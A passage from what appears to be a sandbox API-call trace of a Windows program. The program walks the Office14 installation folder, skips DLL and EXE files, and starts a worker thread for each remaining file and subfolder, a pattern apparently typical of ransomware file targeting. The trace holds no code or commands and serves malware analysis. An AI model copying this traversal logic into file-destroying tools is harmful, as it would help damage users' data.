lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECE.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="TWRECE.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="TWRECE.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECS.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="TWRECS.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="TWRECS.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1e798, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWSTRUCT.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="TWSTRUCT.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="TWSTRUCT.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0c4dba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x273970, dwReserved0=0x0, dwReserved1=0x0, cFileName="UML.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="UML.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="UML.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc5750, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLSYS.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="UMLSYS.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="UMLSYS.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5b8400, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xdd86ba20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f5b8400, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xa8390, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="URLREDIR.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="URLREDIR.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6b388e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1f570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VAOSOLX.DLL", cAlternateFileName="")) returned 1 [0151.125] wcscmp (_String1="VAOSOLX.DLL", _String2=".") returned 1 [0151.125] wcscmp (_String1="VAOSOLX.DLL", _String2="..") returned 1 [0151.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x22dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0007.TLL", cAlternateFileName="")) returned 1 [0151.125] wcscmp (_String1="VBLZ0007.TLL", _String2=".") returned 1 [0151.125] wcscmp (_String1="VBLZ0007.TLL", _String2="..") returned 1 [0151.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504a10 [0151.125] wcscpy (in: _Dest=0x20504a10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.125] wcscat (in: _Dest=0x20504a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.125] wcscat (in: _Dest=0x20504a10, _Source="VBLZ0007.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" [0151.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b8 [0151.126] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1f1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0009.TLL", cAlternateFileName="")) returned 1 [0151.126] wcscmp (_String1="VBLZ0009.TLL", _String2=".") returned 1 [0151.126] wcscmp (_String1="VBLZ0009.TLL", _String2="..") returned 1 [0151.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504a90 [0151.126] wcscpy (in: _Dest=0x20504a90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.126] wcscat (in: _Dest=0x20504a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.126] wcscat (in: _Dest=0x20504a90, _Source="VBLZ0009.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" [0151.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23bc [0151.127] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x29bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ000C.TLL", cAlternateFileName="")) returned 1 [0151.127] wcscmp (_String1="VBLZ000C.TLL", _String2=".") returned 1 [0151.127] wcscmp (_String1="VBLZ000C.TLL", _String2="..") returned 1 [0151.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0151.127] wcscpy (in: _Dest=0x20503810, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.127] wcscat (in: _Dest=0x20503810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.127] wcscat (in: _Dest=0x20503810, _Source="VBLZ000C.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" [0151.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c0 [0151.129] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0011.TLL", cAlternateFileName="")) returned 1 [0151.129] wcscmp (_String1="VBLZ0011.TLL", _String2=".") returned 1 [0151.129] wcscmp (_String1="VBLZ0011.TLL", _String2="..") returned 1 [0151.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504690 [0151.129] wcscpy (in: _Dest=0x20504690, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.129] wcscat (in: _Dest=0x20504690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.129] wcscat (in: _Dest=0x20504690, _Source="VBLZ0011.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" [0151.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c4 [0151.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2EXCL.XSL", cAlternateFileName="")) returned 1 [0151.130] wcscmp (_String1="VBS2EXCL.XSL", _String2=".") returned 1 [0151.130] wcscmp (_String1="VBS2EXCL.XSL", _String2="..") returned 1 [0151.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0151.130] wcscpy (in: _Dest=0x20504c90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.130] wcscat (in: _Dest=0x20504c90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.130] wcscat (in: _Dest=0x20504c90, _Source="VBS2EXCL.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" [0151.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c8 [0151.131] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x189d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2WORD.XSL", cAlternateFileName="")) returned 1 [0151.131] wcscmp (_String1="VBS2WORD.XSL", _String2=".") returned 1 [0151.131] wcscmp (_String1="VBS2WORD.XSL", _String2="..") returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0151.131] wcscpy (in: _Dest=0x20503e10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.131] wcscat (in: _Dest=0x20503e10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.131] wcscat (in: _Dest=0x20503e10, _Source="VBS2WORD.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" [0151.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23cc [0151.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6bf6fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x24380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VERBWIND.DLL", cAlternateFileName="")) returned 1 [0151.132] wcscmp (_String1="VERBWIND.DLL", _String2=".") returned 1 [0151.132] wcscmp (_String1="VERBWIND.DLL", _String2="..") returned 1 [0151.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x22558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWMODL.DLL", cAlternateFileName="")) returned 1 [0151.132] wcscmp (_String1="VIEWMODL.DLL", _String2=".") returned 1 [0151.132] wcscmp (_String1="VIEWMODL.DLL", _String2="..") returned 1 [0151.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50bfc800, ftCreationTime.dwHighDateTime=0x1cbb888, ftLastAccessTime.dwLowDateTime=0xd102bf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50bfc800, ftLastWriteTime.dwHighDateTime=0x1cbb888, nFileSizeHigh=0x0, nFileSizeLow=0xefa180, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRGR.DLL", cAlternateFileName="")) returned 1 [0151.133] wcscmp (_String1="VISBRGR.DLL", _String2=".") returned 1 [0151.133] wcscmp (_String1="VISBRGR.DLL", _String2="..") returned 1 [0151.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd10520c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x4b370, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.DLL", cAlternateFileName="")) returned 1 [0151.133] wcscmp (_String1="VISCOLOR.DLL", _String2=".") returned 1 [0151.133] wcscmp (_String1="VISCOLOR.DLL", _String2="..") returned 1 [0151.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd109e380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x38560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISDLGU.DLL", cAlternateFileName="")) returned 1 [0151.133] wcscmp (_String1="VISDLGU.DLL", _String2=".") returned 1 [0151.133] wcscmp (_String1="VISDLGU.DLL", _String2="..") returned 1 [0151.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c480800, ftCreationTime.dwHighDateTime=0x1cba5d6, ftLastAccessTime.dwLowDateTime=0xd11107a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c480800, ftLastWriteTime.dwHighDateTime=0x1cba5d6, nFileSizeHigh=0x0, nFileSizeLow=0xd5760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISGRF.DLL", cAlternateFileName="")) returned 1 [0151.133] wcscmp (_String1="VISGRF.DLL", _String2=".") returned 1 [0151.133] wcscmp (_String1="VISGRF.DLL", _String2="..") returned 1 [0151.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2284b00, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd115ca60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2284b00, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x11bd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISICON.EXE", cAlternateFileName="")) returned 1 [0151.133] wcscmp (_String1="VISICON.EXE", _String2=".") returned 1 [0151.133] wcscmp (_String1="VISICON.EXE", _String2="..") returned 1 [0151.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Content", cAlternateFileName="VISIOC~1")) returned 1 [0151.133] wcscmp (_String1="Visio Content", _String2=".") returned 1 [0151.133] wcscmp (_String1="Visio Content", _String2="..") returned 1 [0151.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ce59f30 [0151.134] wcscpy (in: _Dest=0x1ce59f30, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.134] wcscat (in: _Dest=0x1ce59f30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.134] wcscat (in: _Dest=0x1ce59f30, _Source="Visio Content" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" [0151.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce59f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d0 [0151.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0151.135] wcscmp (_String1="VISIO.EXE", _String2=".") returned 1 [0151.135] wcscmp (_String1="VISIO.EXE", _String2="..") returned 1 [0151.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ff4500, ftCreationTime.dwHighDateTime=0x1cac1e3, ftLastAccessTime.dwLowDateTime=0x850b1da0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x67ff4500, ftLastWriteTime.dwHighDateTime=0x1cac1e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe.manifest", cAlternateFileName="VISIOE~1.MAN")) returned 1 [0151.135] wcscmp (_String1="visio.exe.manifest", _String2=".") returned 1 [0151.135] wcscmp (_String1="visio.exe.manifest", _String2="..") returned 1 [0151.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afbb0 [0151.135] wcscpy (in: _Dest=0x202afbb0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.135] wcscat (in: _Dest=0x202afbb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.135] wcscat (in: _Dest=0x202afbb0, _Source="visio.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" [0151.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d4 [0151.136] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2596300, ftCreationTime.dwHighDateTime=0x1c9ab47, ftLastAccessTime.dwLowDateTime=0x850d7f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb2596300, ftLastWriteTime.dwHighDateTime=0x1c9ab47, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioCustom.propdesc", cAlternateFileName="VISIOC~1.PRO")) returned 1 [0151.136] wcscmp (_String1="VisioCustom.propdesc", _String2=".") returned 1 [0151.136] wcscmp (_String1="VisioCustom.propdesc", _String2="..") returned 1 [0151.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae530 [0151.136] wcscpy (in: _Dest=0x202ae530, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.136] wcscat (in: _Dest=0x202ae530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.136] wcscat (in: _Dest=0x202ae530, _Source="VisioCustom.propdesc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc") returned="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" [0151.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d8 [0151.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd1c38ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x12d0b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISLIB.DLL", cAlternateFileName="")) returned 1 [0151.137] wcscmp (_String1="VISLIB.DLL", _String2=".") returned 1 [0151.137] wcscmp (_String1="VISLIB.DLL", _String2="..") returned 1 [0151.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x852a0f80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x6bb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISOCX.DLL", cAlternateFileName="")) returned 1 [0151.137] wcscmp (_String1="VISOCX.DLL", _String2=".") returned 1 [0151.137] wcscmp (_String1="VISOCX.DLL", _String2="..") returned 1 [0151.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: 